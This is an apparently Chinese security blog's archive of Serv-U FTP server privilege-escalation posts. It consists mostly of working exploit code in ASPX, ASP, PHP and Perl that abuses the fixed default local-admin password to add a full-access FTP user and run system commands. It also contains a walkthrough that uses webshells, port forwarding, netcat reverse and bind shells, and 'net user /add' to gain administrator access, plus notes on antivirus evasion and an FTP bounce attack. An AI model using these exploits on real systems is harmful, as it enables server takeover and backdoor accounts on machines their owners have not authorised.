存档

文章标签 ‘Serv-U’

Serv-U FTP Server v8 本地提权

2009年8月5日 没有评论 192 views

作者:空虚浪子心

发布日期:2009-08-05
更新日期:2009-08-05

受影响系统:
serv-u8

不受影响系统:
其他版本不受影响

描述:
看cnbeta发现su出8这个版本了。
想想以前写过一个7的本地提权。
不知道8有什么安全方面的更改。
下载来研究下,发现居然还是可以提权的,只是su7的那个不能直接用,稍微修改了下执行的流程。

Su8的管理平台是http的,继承了su7的方式。
抓包,分析,发现了以下路程是可以利用的。
1, 管理员从管理控制台打开web页面时,是不需要验证密码的。
2, 管理员如果用某URL打开web页面时,虽然需要输入密码,但是无论输入什么,都可以进入。“/?Session=39893&Language=zh,CN&LocalAdmin=1”
3, 管理员可以添加用户有两种,一种是全局用户,一种是某个域下的用户。而权限设置也是两种,一种是全局,一种是针对用户。
4, 管理员添加了用户的这个包和设置权限这个包,是分开的。
所以,我可以抓包然后转换成php的socket连接post出去。
最后在用经典的ftp登陆,exec命令。达到提权。

前面su7已经说了很多,这里简单的说下好了。
.....登陆什么的。
1,获取ID。
2,给这个id添加权限。
3,给这个id赋予用户名,密码,目录,权限。
4,登陆后执行系统命令。

这段代码是不能直接当工具使用的。

<*来源:kxlzx(www.inbreak.net
*>

测试方法:

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

阅读全文...

分类: 技术文章 标签: ,

serv-u7 local exploit (php)

2008年12月3日 没有评论 120 views

by 空虚浪子心 http://www.inbreak.net

注:由于作者懒,没有提供日志清理功能,会留下日志:

一,su7是提权有几种方式?
有两种形式去干掉su7。
1>,登陆管理员控制台的页面
==>获取OrganizationId,用于添加用户
==>获取全局用户的“下一个新用户ID”
==>添加用户
==>添加用户的权限 or 添加全局用户权限
==>用户登陆
==>执行系统命令添加系统账户。
 

2>,登陆管理员控制台页面
==>基本WEB客户端
==>来到serv-u的目录下--users--Global user目录
==>上传一个你已经定义好的用户文件
==>用户登陆
==>执行系统命令添加系统账户
而本文件使用了第一种方法。

二,提权的原理?
Su7的管理平台是http的,很先进。
抓包,分析,发现了以下路程是可以利用的。
1,    管理员从管理控制台打开web页面时,是不需要验证密码的。
2,    管理员如果用某URL打开web页面时,虽然需要输入密码,但是无论输入什么,都可以进入。“/?Session=39893&Language=zh,CN&LocalAdmin=1”
3,    管理员可以添加用户有两种,一种是全局用户,一种是某个域下的用户。而权限设置也是两种,一种是全局,一种是针对用户。
4,    管理员添加了用户的这个包和设置权限这个包,是分开的。
所以,我可以抓包然后转换成php的socket连接post出去。
最后在用经典的ftp登陆,exec命令。达到提权。
在写php的过程中,遇到很多问题,比如函数不会用等等(—_—!以前没学过php),感谢“云舒牛”帮忙。。。
在分析包的流程,发现了一些特征,服务器返回的数据,全是以xml格式发来的。而在数据传输的过程中,设计的很经典。
Su7也有自己的数据库,他也会自己生成一个id。
这个ID是随机的,在你创建用户时,会先请求服务器生成一个,生成好后,修改该id的用户名,密码等。
这很像oracle的insert手段。

写工具的过程中,遇到很多麻烦,最大的麻烦就是这个ID问题,后来分析出来了。
添加权限时,也是可以利用这个ID的。
于是工具一共连接了6次服务器,这几次分别是:
1,    用来登陆平台,使用那个输入任何密码都可以登陆的页面地址。返回一个sessionid,这个sessionid在以后的包都用到了。
2,    获取OrganizationId,用于添加用户
3,    用来请求一个用户ID。
4,    修改该ID的登陆用户名,密码。
5,    修改该ID的权限,加c盘的写删执行等。
6,    这次连接是做坏事的,使用前面添加的用户执行系统命令。

三,为啥我明明显示成功了,但是却提不上去?
这要看错误代码了,这里偶很惭愧,并没有写详细的错误代码判断。
一般有以下几种情况:
1,可能是因为管理员密码不对。
参照管理员密码的连接。
2,可能是因为管理员限制了执行SITE EXEC。
有待程序修改,程序可以加一个让他不限制的功能。
3,可能是程序问题。
4,为啥作者有这么多理由不去改?
你没发现么?一旦把东西做完美了,那比较系统的防御方案就出来了。
如果不完美,让他以为我们就这点手段,防御系统也会这么认为。
不信的话,过段时间,防御方案出来了,肯定有一条:“修改site exec为不可访问”。
到时候,我再写个功能,把这玩意改回来就是。
所以,等大家都提倡要XXXX的时候,我再解决XXXX的问题。大家先这么玩着吧:)

四,关于管理员密码

默认为空,如果密码为空,填什么都能进去。
如果修改过,管理员密码默认会在这里:
C:\Program Files\RhinoSoft.com\Serv-U\Users\Local Administrator Domain\.Archive
文件中找到一个MD5密码值。
C:\Program Files\RhinoSoft.com\Serv-U
是su的根目录。
密码值的样式为(假设是123456)
kx#######################
#代表123456的32位MD5加密,而kx则是su对md5的密码算法改进的随机2位字符。
破解后的密码为kx123456,去掉kx就是密码了。
你可以针对这个加密生成字典。

 

下载地址:200812030843555684.rar

分类: 资源共享 标签: ,

Serv-U7.0提权通杀asp脚本

2008年10月10日 没有评论 368 views

一直通杀到Serv-U7.0
 

用来加FTP帐号的

下载地址:

点此下载

分类: 资源共享 标签:

SERV-U 6.4提权方法,通杀SERV-U版本

2007年11月24日 没有评论 261 views

修改ftpport为21

修改newdomain后面的goldsun| IP(为要提权的服务器的IP地址)|

修改newuser后面的 -IP=IP地址和上面一样(为要提权的服务器的IP地址)...OK.....提权...会用FTP增加一个可以

执行命令的用户.....有个这个用户什么不能做哈.....

ftpport = 65500
timeout=3
loginuser = "User " & user & vbCrLf
loginpass = "Pass " & pass & vbCrLf
deldomain = "-DeleteDOMAIN" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & " PortNo=" & ftpport & vbCrLf
mt = "SITE MAINTENANCE" & vbCrLf
newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=goldsun|0.0.0.0|" & ftpport & "|-1|1|0" & vbCrLf & "-TZOEnable=0" & vbCrLf & " TZOKey=" & vbCrLf
newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & ftpport & vbCrLf & "-User=go" & vbCrLf & "-Password=od" & vbCrLf & _ 

分类: 技术文章 标签: ,

Webshell与Serv-u结合获系统最高权限

2007年4月9日 没有评论 54 views

Serv-U默认监听127.0.0.1:43958,在本机才能连接这个管理端口,Serv-U默认管理账号是localAdministrator,默认密码是"#l@$ak#.lk;0@P",这个密码是固定的。在目标机器上运行fpipe -v -l 12345 -r 43958 127.0.0.1,然后在你自己的机器,用"Serv-U administrator"新建SERVER。

目标IP:12345

User:LocalAdministrator

Pass:"#l@$ak#.lk;0@P"0

那么目标机器的Serv-U就归你管了。

利用的前提:要有目标机器的普通权限的SHELL,不需要能终端或物理控制台登录,只要有个shell,能运行端口数据转发的程序就可以了

如何得到一个shell:sql注射得到webshell或者直接利用动网7.0 sp2以下的上传漏洞上传webshell

具体实施方法

1.利用得到的webshell上传转向程序fpipe,然后执行fpipe -v -l 12345 -r 43958 127.0.0.1

2 .在你自己的机器,用"Serv-U administrator"新建SERVER,依次填入

ip:目标IP

端口 :12345

User:LocalAdministrator

Pass:"#l@$ak#.lk;0@P"

现在你就可以管理这台服务器的Serv-U了,新建一个账号,权限为系统管理员(system dministrator),并在"目录访问(Dir access)"选项中给予"执行"权限(execute).

3. ftp连接,然后执行

quote site exec net user iisuser password /add

添加一个用户名为iisuser密码为password的用户,加到管理员组 quote site exec net localgroup administrators iisuser /add,现在就可以连接终端并登录了。

当然也可以进行别的操作,例如上传一个nc.exe,在目标机器上得到一个管理员权限的shell,可以正向连接,也可以反向连接。

正向连接:连上ftp以后执行

quote site exec nc.exe -l -p 23 -t -e cmd.exe

这时目标主机就成了一台telnet服务器,你可以telnet上目标服务器的23端口.

反向连接:假设你的IP是202.96.209.168

1.先在自己的机器上运行(你要有一个外部IP):nc -vv -lp 99

2.在目标机器上运行 nc -e cmd.exe 202.96.209.168 99

在你的机器上就会得到一个目标机器的具有管理员权限的shell

如果对方进行了端口过滤或者设置了防火墙的保护(这种保护不限制反弹连接,如果限制的?br />熬鸵槐鸬姆椒?,可以用TCP SOCKET转发来实现

打个比方:

我的机器为 A

我要测试的机器为 B[不允许正面连接]

我已经在B上得到呢一个SHELL[只要guest的就行呢]

我们可以这样连上对方的43958

I:我在本地监听二个端口23和56

23是等待B来连接的~

56是等待我来连接的~

II:B连接我监听的23,同时转发到本地的43958

这样管道就建好呢~对方的防火墙就拿我们没有办法呢~

此时在本地运行Serv-U新建一个SERVER,IP填上本地的127.0.0.1端口为56用户localAdministrator,密码#l@$ak#.lk;0@P

具体实施方法

假设你的IP是 202.96.209.168

1.在你自己的机器上运行 htran.exe -listen 23 56

2.此时在本地运行Serv-U新建一个SERVER,IP填上本地的127.0.0.1端口为56,用户名LocalAdministrator,密码#l@$ak#.lk;0@P

3。在目标机器上运行 htran.exe -slave 127.0.0.1 43958 202.96.209.168 23

如果不能在webshell下直接运行,可以写一个asp脚本来执行,内容如下

connect.asp
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
oScript.Run (server.mappath("htran")&" -slave 127.0.0.1 43958 202.96.209.168 23 ")
%>

执行http://目标网址/connect.asp,如果出来一片空白,没提示什么错误,现在你应该可以管理目标服务器的Serv-U了,余下的事情就看您自由发挥了。htran.exe是一个多线程包转发工具,可以到红盟下载

防止方法

自己给Serv-U打补丁,改变默认端口及管理密码。修改 ServUAdmin.exe、ServUDaemon.exe这两个文件,改端口只要在ServUDaemon.ini文件[GLOBAL]选项中加入LocalSetupPortNo=12345即可 。

分类: 技术文章 标签: ,

Serv-U本地权限提升程序 asp aspx php perl 版

2006年10月28日 没有评论 155 views

ASPX代码如下:

<%@ Page Language="VB" Debug="true" %>
<%@ import Namespace="System.Net.Sockets" %>
<script runat="server">

'
' Love, Where are you ?

Sub BTN_Start_Click(sender As Object, e As EventArgs)
Dim Usr As String = Text_Name.Text
Dim pwd As String = Text_PWD.Text
Dim Port As Int32 = Text_Port.Text
Dim Command As String = Text_cmd.Text

Dim LoginUser As String = "User " & Usr & vbcrlf
Dim LoginPass As String = "Pass " & pwd & vbcrlf
Dim NewDomain As String = "-SETDOMAIN" & vbcrlf & "-Domain=cctv|0.0.0.0|43859|-1|1|0" & vbcrlf & "-TZOEnable=0" & vbcrlf & " TZOKey=" & vbcrlf
Dim DelDomain As String = "-DeleteDOMAIN" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & " PortNo=43859" & vbcrlf
Dim NewUser AS String = "-SETUSERSETUP" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=43859" & vbcrlf & "-User=lake" & vbcrlf & "-Password=admin123" & vbcrlf & _
"-HomeDir=c:\\" & vbcrlf & "-LoginMesFile=" & vbcrlf & "-Disable=0" & vbcrlf & "-RelPaths=1" & vbcrlf & _
"-NeedSecure=0" & vbcrlf & "-HideHidden=0" & vbcrlf & "-AlwaysAllowLogin=0" & vbcrlf & "-ChangePassword=0" & vbcrlf & _
"-QuotaEnable=0" & vbcrlf & "-MaxUsersLoginPerIP=-1" & vbcrlf & "-SpeedLimitUp=0" & vbcrlf & "-SpeedLimitDown=0" & vbcrlf & _
"-MaxNrUsers=-1" & vbcrlf & "-IdleTimeOut=600" & vbcrlf & "-SessionTimeOut=-1" & vbcrlf & "-Expire=0" & vbcrlf & "-RatioUp=1" & vbcrlf & _
"-RatioDown=1" & vbcrlf & "-RatiosCredit=0" & vbcrlf & "-QuotaCurrent=0" & vbcrlf & "-QuotaMaximum=0" & vbcrlf & _
"-Maintenance=System" & vbcrlf & "-PasswordType=Regular" & vbcrlf & "-Ratios=None" & vbcrlf & " Access=c:\\|RWAMELCDP" & vbcrlf
Dim Quit As String = "QUIT" & vbcrlf
Dim MAINTENANCE As String = "SITE MAINTENANCE" & vbcrlf

'Dim client As New TcpClient
Dim tcpClient As New TcpClient()
Try
tcpClient.Connect("127.0.0.1", port)
Catch eee As Exception
response.write(eee.ToString())
response.end
End Try
tcpClient.ReceiveBufferSize = 1024
Dim networkStream As NetworkStream = tcpClient.GetStream()
Rec(networkStream)
Send(networkStream, LoginUser)
Rec(networkStream)
Send(networkStream, LoginPass)
Rec(networkStream)
Send(networkStream, MAINTENANCE)
Rec(networkStream)
Send(networkStream, DelDomain)
Rec(networkStream)
Send(networkStream, NewDomain)
Rec(networkStream)
Send(networkStream, NewUser)
Rec(networkStream)
Dim tcpClient2 As New TcpClient()
Try
tcpClient2.Connect("127.0.0.1", 43859)
Catch eee As Exception
response.write(eee.ToString())
response.end
End Try
tcpClient2.ReceiveBufferSize = 1024
Dim networkStream2 As NetworkStream = tcpClient2.GetStream()
Rec(networkStream2)
Send(networkStream2, "User lake" & vbcrlf)
Rec(networkStream2)
Send(networkStream2, "pass admin123" & vbcrlf)
Rec(networkStream2)
Send(networkStream2, "site exec " & Command & vbcrlf)
Rec(networkStream2)
tcpClient2.Close()
Send(networkStream, DelDomain)
Rec(networkStream)
Send(networkStream, Quit)
Rec(networkStream)
tcpClient.Close()
End Sub

Sub Rec(o As Object)
If o.CanRead Then
Dim bytes(1024) As Byte
o.Read(bytes, 0, 1024)
Dim returndata As String = Encoding.ASCII.GetString(bytes)
response.Write("out:" & returndata & "<br>")
Else
response.Write("What's wrong ?")
End If
End Sub

Sub Send(o As Object,data As String)
If o.CanWrite Then
Dim sendBytes As [Byte]() = Encoding.ASCII.GetBytes(data)
o.Write(sendBytes, 0, sendBytes.Length)
response.write("in: " & data & "<br>")
Else
response.Write("What's wrong ?")
End If
End Sub

</script>
<html>
<head>
</head>
<body>
<form runat="server">
<p>
<asp:Label id="Label1" runat="server" width="353px" forecolor="Blue">from Serv-U 2
admin by lake2</asp:Label>
</p>
<p>
<asp:Label id="Label2" runat="server" width="40px">Name</asp:Label>
<asp:TextBox id="Text_Name" runat="server" Width="152px">LocalAdministrator</asp:TextBox>
<br />
<asp:Label id="Label3" runat="server" width="40px">PWD</asp:Label>
<asp:TextBox id="Text_PWD" runat="server">#l@$ak#.lk;0@P</asp:TextBox>
<br />
<asp:Label id="Label4" runat="server" width="40px">Port</asp:Label>
<asp:TextBox id="Text_Port" runat="server">43958</asp:TextBox>
<br />
<asp:Label id="Label5" runat="server" width="40px">cmd</asp:Label>
<asp:TextBox id="Text_cmd" runat="server"></asp:TextBox>
</p>
<p>
<asp:Button id="BTN_Start" onclick="BTN_Start_Click" runat="server" Text="Start"></asp:Button>
</p>
<p>
<hr />
<!-- Insert content here -->
</p>
</form>
</body>
</html>

ASP版代码如下:

<title>Serv-U 2 admin by lake2</title>
<style type="text/css">
body,td,th {color: #0000FF;font-family: Verdana, Arial, Helvetica, sans-serif;}
body {background-color: #ffffff;font-size:14px; }
a:link {color: #0000FF;text-decoration: none;}
a:visited {text-decoration: none;color: #0000FF;}
a:hover {text-decoration: none;color: #FF0000;}
a:active {text-decoration: none;color: #FF0000;}
.buttom {color: #FFFFFF; border: 1px solid #084B8E; background-color: #719BC5}
.TextBox {border: 1px solid #084B8E}
</style>
<p>Serv-U Local Get SYSTEM Shell with ASP
</p>
<p>Author: lake2, <a href="http://lake2.0x54.org" target="_blank">http://lake2.0x54.org</a></p>
<form name="form1" method="post" action="">
<p>user:
<input name="duser" type="text" class="TextBox" id="duser" value="LocalAdministrator">
<br>
pwd :
<input name="dpwd" type="text" class="TextBox" id="dpwd" value="#l@$ak#.lk;0@P">
<br>
port:
<input name="dport" type="text" class="TextBox" id="dport" value="43958">
<br>
<input name="radiobutton" type="radio" value="add" checked class="TextBox">
Add User 
<input type="radio" name="radiobutton" value="del" class="TextBox"> 
Del User </p>
<p>
<input name="Submit" type="submit" class="buttom" value="Run">
</p>
</form>
<p>
<%
Usr = request.Form("duser")
pwd = request.Form("dpwd")
port = request.Form("dport")
'Command = request.Form("dcmd")

  if request.Form("radiobutton") = "add" Then

lake2 = "User " & Usr & vbcrlf
lake2 = lake2 & "Pass " & pwd & vbcrlf
lake2 = lake2 & "SITE MAINTENANCE" & vbcrlf
'lake2 = lake2 & "-SETDOMAIN" & vbcrlf & "-Domain=cctv|0.0.0.0|43859|-1|1|0" & vbcrlf & "-TZOEnable=0" & vbcrlf & " TZOKey=" & vbcrlf
lake2 = lake2 & "-SETUSERSETUP" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=21" & vbcrlf & "-User=lake" & vbcrlf & "-Password=admin123" & vbcrlf & _
"-HomeDir=c:\\" & vbcrlf & "-LoginMesFile=" & vbcrlf & "-Disable=0" & vbcrlf & "-RelPaths=1" & vbcrlf & _
"-NeedSecure=0" & vbcrlf & "-HideHidden=0" & vbcrlf & "-AlwaysAllowLogin=0" & vbcrlf & "-ChangePassword=0" & vbcrlf & _
"-QuotaEnable=0" & vbcrlf & "-MaxUsersLoginPerIP=-1" & vbcrlf & "-SpeedLimitUp=0" & vbcrlf & "-SpeedLimitDown=0" & vbcrlf & _
"-MaxNrUsers=-1" & vbcrlf & "-IdleTimeOut=600" & vbcrlf & "-SessionTimeOut=-1" & vbcrlf & "-Expire=0" & vbcrlf & "-RatioUp=1" & vbcrlf & _
"-RatioDown=1" & vbcrlf & "-RatiosCredit=0" & vbcrlf & "-QuotaCurrent=0" & vbcrlf & "-QuotaMaximum=0" & vbcrlf & _
"-Maintenance=System" & vbcrlf & "-PasswordType=Regular" & vbcrlf & "-Ratios=None" & vbcrlf & " Access=c:\\|RWAMELCDP" & vbcrlf
    'lake2 = lake2 & "quit" & vbcrlf
    
    
    
    
    '--------
    'On Error Resume Next
    Set xPost = CreateObject("MSXML2.XMLHTTP")
    xPost.Open "POST", "http://127.0.0.1:"& port &"/lake2", True
    xPost.Send(lake2)
    Set xPOST=nothing
    response.write "FTP user lake pass admin123 :)<br><BR>"
  else
  
    lake2 = "User " & Usr & vbcrlf
    lake2 = lake2 & "Pass " & pwd & vbcrlf
    lake2 = lake2 & "SITE MAINTENANCE" & vbcrlf
    lake2 = lake2 & "-DeleteUSER" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=21" & vbcrlf & " User=lake" & vbcrlf
    
    Set xPost3 = CreateObject("MSXML2.XMLHTTP")
    xPost3.Open "POST", "http://127.0.0.1:"& port &"/lake2", True
    xPost3.Send(lake2)
    Set xPOST3=nothing
    response.write "Done!<br><BR>"
  end if

%>
Only for Enjoy&Challenge

! </p>

php代码版如下:

<?PHP
/**
注释免杀版本
**/
//
//Codez begin
//
//判断magic_quotes_gpc的值
if (get_magic_quotes_gpc()) {
$_GET = stripslashes_array($_GET);
}

//变量初始化
$addr = '0.0.0.0';
$ftpport = 21;
$adminport = 43958;
$adminuser = 'LocalAdministrator';
$adminpass = '#l@$ak#.lk;0@P';
$user = 'wofeiwo';
$password = 'wrsky';
$homedir = 'C:\\';
$dir = 'C:\\WINNT\\System32\\';

//有改变则赋值
if ($_GET){
$addr = $_GET['addr'] ;
$ftpport = $_GET['ftpport'] ;
$adminport = $_GET['adminport'] ;
$adminuser = $_GET['adminuser'] ;
$adminpass = $_GET['adminpass'] ;
$user = $_GET['user'] ;
$password = $_GET['password'] ;
$homedir = $_GET['homedir'] ;
if ($_GET['dir']){
$dir = $_GET['dir'] ;
}
}
?>

<!-- 主文件开始 //-->
<html>
<head>
<title>-=<Serv-U All Version本地提升权限Exp10it Ver 1.5 By 我非我[F.S.T] 修改免杀版>=-</title>
<meta content="text/html; charset=gb2312" http-equiv="Content-Type">
<STYLE TYPE="text/css">
b {font-family : Verdana, sans-serif;font-size : 14px;}
body,td,p,pre {
font-family : Verdana, sans-serif;font-size : 12px;
}
input {
font-family: "Verdana";
font-size: "11px";
BACKGROUND-COLOR: "#FFFFFF";
height: "18px";
border: "1px solid #666666";
}
</STYLE>
</head>
<body bgcolor="#EEEEEE" text="#000000" link="#006699" vlink="#5493B4">

<center><b>Serv-U All Version本地提升权限Exp10it Ver 1.5</b>
<br><br>
<b>添加Serv-U用户部分</b>
<br>
<form action="<?=$_SERVER['PHP_SELF']?>" method="get">
<table width="660" border="0" cellpadding="0">
<tr><td width="300" align="center">主机IP:</td> <td width="360" align="center"><input name="addr" type="text" class="INPUT" value="<?=$addr?>"></td></tr>
<tr><td width="300" align="center">主机Ftp端口:</td> <td width="360" align="center"><input name="ftpport" type="text" class="INPUT" value="<?=$ftpport?>"></td></tr>
<tr><td width="300" align="center">主机Ftp管理端口:</td> <td width="360" align="center"><input name="adminport" type="text" class="INPUT" value="<?=$ad
minport?>"></td></tr>
<tr><td width="300" align="center">主机Ftp管理用户:</td> <td width="360" align="center"><input name="adminuser" type="text" class="INPUT" value="<?=$adminuser?>"></td></tr>
<tr><td width="300" align="center">主机Ftp管理密码:</td> <td width="360" align="center"><input name="adminpass" type="text" class="INPUT" value="<?=$adminpass?>"></td></tr>
<tr><td width="300" align="center">添加的用户名:</td> <td width="360" align="center"><input name="user" type="text" class="INPUT" value="<?=$user?>"></td></tr>
<tr><td width="300" align="center">添加的用户名密码:</td><td width="360" align="center"><input name="password" type="password" class="INPUT" value="<?=$password?>"></td></tr>
<tr><td width="300" align="center">用户主目录(别忘了写"\"):</td> <td width="360" align="center"><input name="homedir" type="text" class="INPUT" value="<?=$homedir?>"></td></tr>
<tr><td width="300" align="center"><input name="action" type="hidden" value="up"></td></tr>
<tr><td width="300" align="center"><input type="submit" class="INPUT" value="添加"></td></tr>
</form></tr>
</table>
<hr width="660"><br>
<textarea cols="60" rows="10" readonly>命令回显:
<?php

//添加用户
if ($_GET['action']=="up"){
up($addr,$ftpport,$adminport,$adminuser,$adminpass,$user,$password,$homedir);
}
?>

</textarea></center><br><hr width="660">
<center><b>执行命令部分</b><br>
<form action="<?=$_SERVER['PHP_SELF']?>" method="get">
<table width="660" border="0" cellpadding="0">
<tr><td width="300" align="center">主机Ftp端口:</td> <td width="360" align="center"><input name="ftpport" type="text" class="INPUT" value="<?=$ftpport?>"></td></tr>
<tr><td width="300" align="center">用户名:</td> <td width="360" align="center"><input name="user" type="text" class="INPUT" value="<?=$user?>"></td></tr>
<tr><td width="300" align="center">用户名密码:</td><td width="360" align="center"><input name="password" type="password" class="INPUT" value="<?=$password?>"></td></tr>
<tr><td width="300" align="center">系统路径(别忘了写"\"):</td><td width="360" align="center"><input name="dir" type="text" class="INPUT" value="<?=$dir?>"></td></tr>
<tr><td width="300" align="center">执行的命令:</td> <td width="360" align="center"><input name="cmd" type="text" class="INPUT" value="<?=$_GET['cmd']?>"></td></tr>

<tr><td width="300" align="center"><input name="action" type="hidden" value="execute"></td></tr>
<tr><td width="300" align="center"><input type="submit" class="INPUT" value="执行"></td></tr>
</form></tr></table><hr width="660"><br>
<textarea cols="60" rows="10" readonly>命令回显:
<?php

//执行命令
if ($_GET['action']=="execute"){
ftpcmd($ftpport,$user,$password,$dir,$_GET['cmd']);
}
?>
</textarea>
</center><br><hr width="660">
<i><center>Copycenter (C) 2004 <B style='color:black;background-color:#ffff66'>我非我</B> All centers Reserved. <br>
</center></i>
</body>
</html>
<!-- 主文件结束 //-->
<?php

//添加用户主函数定义
function up($addr,$ftpport,$adminport,$adminuser,$adminpass,$user,$password,$homedir){
$fp = fsockopen ("127.0.0.1", $adminport, $errno, $errstr, 8);
if (!$fp) {
echo "$errstr ($errno)<br>\n";
} else {
fputs ($fp, "USER ".$adminuser."\r\n");
sleep (1);
fputs ($fp, "PASS ".$adminpass."\r\n");
sleep (1);
fputs ($fp, "SITE MAINTENANCE\r\n");
sleep (1);
fputs ($fp, "-SETUSERSETUP\r\n");
fputs ($fp, "-IP=".$addr."\r\n");
fputs ($fp, "-PortNo=".$ftpport."\r\n");
fputs ($fp, "-User=".$user."\r\n");
fputs ($fp, "-Password=".$password."\r\n");
fputs ($fp, "-HomeDir=".$homedir."\r\n");
fputs ($fp, "-LoginMesFile=\r\n");
fputs ($fp, "-Disable=0\r\n");
fputs ($fp, "-RelPaths=0\r\n");
fputs ($fp, "-NeedSecure=0\r\n");
fputs ($fp, "-HideHidden=0\r\n");
fputs ($fp, "-AlwaysAllowLogin=0\r\n");
fputs ($fp, "-ChangePassword=1\r\n");
fputs ($fp, "-QuotaEnable=0\r\n");
fputs ($fp, "-MaxUsersLoginPerIP=-1\r\n");
fputs ($fp, "-SpeedLimitUp=-1\r\n");
fputs ($fp, "-SpeedLimitDown=-1\r\n");
fputs ($fp, "-MaxNrUsers=-1\r\n");
fputs ($fp, "-IdleTimeOut=600\r\n");
fputs ($fp, "-SessionTimeOut=-1\r\n");
fputs ($fp, "-Expire=0\r\n");
fputs ($fp, "-RatioUp=1\r\n");
fputs ($fp, "-RatioDown=1\r\n");
fputs ($fp, "-RatiosCredit=0\r\n");
fputs ($fp, "-QuotaCurrent=0\r\n");
fputs ($fp, "-QuotaMaximum=0\r\n");
fputs ($fp, "-Maintenance=System\r\n");
fputs ($fp, "-PasswordType=Regular\r\n");
fputs ($fp, "-Ratios=None\r\n");
fputs ($fp, " Access=".$homedir."|RWAMELCDP\r\n");
fputs ($fp, "QUIT\r\n");
sleep (1);
while (!feof($fp)) {
echo fgets ($fp,128);
}

}
}

//执行命令主函数定义
function ftpcmd($ftpport,$user,$password,$dir,$cmd){

$conn_id = fsockopen ("127.0.0.1", $ftpport, $errno, $errstr, 8);

if (!$conn_id) {
echo "$errstr ($errno)<br>\n";
} else {
fputs ($conn_id, "USER ".$user."\r\n");
sleep (1);
fputs ($conn_id, "PASS ".$password."\r\n");
sleep (1);
fputs ($conn_id, "SITE EXEC ".$dir."cmd.exe /c ".$cmd."\r\n");
fputs ($conn_id, "QUIT\r\n");
sleep (1);
while (!feof($conn_id)) {
echo fgets ($conn_id,128);
}
fclose($conn_id);
}
}

//去除转义字符
function stripslashes_array(&$array) {
while (list($key,$var) = each($array)) {
if ($key != 'argc' && $key != 'argv' && (strtoupper($key) != $key || ''.intval($key) == "$key")) {
if (is_string($var)) {
$array[$key] = stripslashes($var);
}
if (is_array($var)
) {
$array[$key] = stripslashes_array($var);
}
}
}
return $array;
}
?>

perl版代码如下:

#!/usr/bin/perl
use IO::Socket;

binmode(STDOUT);
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);

$addr = "127.0.0.1";
$ftpport = 21;
$adminport = 43958;
$adminuser = "LocalAdministrator";
$adminpass = '#l@$ak#.lk;0@P';
$user = "Andyower";
$password = "haika";
$homedir = 'C:\\';
$dir = 'C:\\WINNT\\System32\\';

use IO::Socket::INET;

$sock = IO::Socket::INET->new("127.0.0.1:$adminport") || die "fail";

print "Andyower制作<br><br>";

print $sock "USER $adminuser\r\n";
sleep (1);
print $sock "PASS $adminpass\r\n";
sleep(1);
print $sock "SITE MAINTENANCE\r\n";
sleep(1);
print $sock "-SETUSERSETUP\r\n";
print $sock "-IP=".$addr."\r\n";
print $sock "-PortNo=".$ftpport."\r\n";
print $sock "-User=".$user."\r\n";
print $sock "-Password=".$password."\r\n";
print $sock "-HomeDir=".$homedir."\r\n";
print $sock "-LoginMesFile=\r\n";
print $sock "-Disable=0\r\n";
print $sock "-RelPaths=0\r\n";
print $sock "-NeedSecure=0\r\n";
print $sock "-HideHidden=0\r\n";
print $sock "-AlwaysAllowLogin=0\r\n";
print $sock "-ChangePassword=1\r\n";
print $sock "-QuotaEnable=0\r\n";
print $sock "-MaxUsersLoginPerIP=-1\r\n";
print $sock "-SpeedLimitUp=-1\r\n";
print $sock "-SpeedLimitDown=-1\r\n";
print $sock "-MaxNrUsers=-1\r\n";
print $sock "-IdleTimeOut=600\r\n";
print $sock "-SessionTimeOut=-1\r\n";
print $sock "-Expire=0\r\n";
print $sock "-RatioUp=1\r\n";
print $sock "-RatioDown=1\r\n";
print $sock "-RatiosCredit=0\r\n";
print $sock "-QuotaCurrent=0\r\n";
print $sock "-QuotaMaximum=0\r\n";
print $sock "-Maintenance=System\r\n";
print $sock "-PasswordType=Regular\r\n";
print $sock "-Ratios=None\r\n";
print $sock " Access=".$homedir."|RWAMELCDP\r\n";
print $sock "QUIT\r\n";

@ret=<$sock>;
print "@ret";

close(STDERR);
close(STDOUT);
exit;

分类: 资源共享 标签: ,

Serv-U提权综合工具

2006年10月7日 没有评论 408 views

Serv-U提权综合工具 by 执着我一生[F.S.T]

=============
说明
=============
1.生成的文件都和本程序在同一目录下。[被杀自己想办法:)]

2.口令读取的方法比较笨,要和版本正确对应,否则读不出来。目前支持的版本还不全。

3.使用过程中,如果你发现什么Bug或是有好的建议请与我联系。不胜感激!

4.开发环境:VC6.0sp6 + XPSP2

用ASProtect加壳

文件md5校验值:5377a1ae7994a100d8207a833cfa8542

ps:感谢狗剩兄弟的无私帮助!!![告诉我动态定位读取口令的方法,本人不才,还不能完美实现,目前

还在改进中:)]

=============
声明
=============

1.本软件仅供技术研究,请不要用于非法用途.对使用本软件造成的任何后果作者一概不负责!

2.本软件为免费软件,您可以随意使用但请不要对软件进行更改,传播过程中也请您保持软件的完整性.版权归原作者执着我一生[F.S.T]所有.

=============
联系方式
=============

My Blog: http://www.allife.org

Email : elong2008@126.com

QQ : 61006284

分类: 资源共享 标签: ,

Serv-U的反弹攻击及其利用

2006年10月2日 没有评论 78 views

Author:lake2 ( http://lake2.0x54.org )

FTP反弹攻击(FTP Bounce Attack)是很古老的技术了,居然能在我们的信息安全教材上找得到介绍,可见其确实年代久远。

所谓FTP反弹攻击就是利用FTP协议的PORT命令将数据发送到第三方,这样就可以利用FTP服务器实现对其他机器的端口扫描和发送数据了。由于这种攻击的存在,所以FTP服务器一般都限制了PORT命令的ip地址为客户端ip且端口大于1024。

现在比较流行的FTP软件Serv-U默认情况下(似乎?)却没有限制FTP Bounce攻击,造成安全隐患。

以下是对有限制的Serv-U进行反弹攻击:



220-欢迎光临lake2的blog

user lake2

331 User name okay, need password.

pass xxxxxxxxx

230 User logged in, proceed.

port 127,0,0,1,171,182

530 Only client IP address allowed for PORT command.



失败了,因为管理员在设置那里勾上了“拦截FTP Bounce攻击”。

但是,一些Serv-U却可以实现反弹(默认情况下没有阻止FTP Bounce):



220-欢迎使用本虚拟主机.

user 0x54.org

331 User name okay, need password.

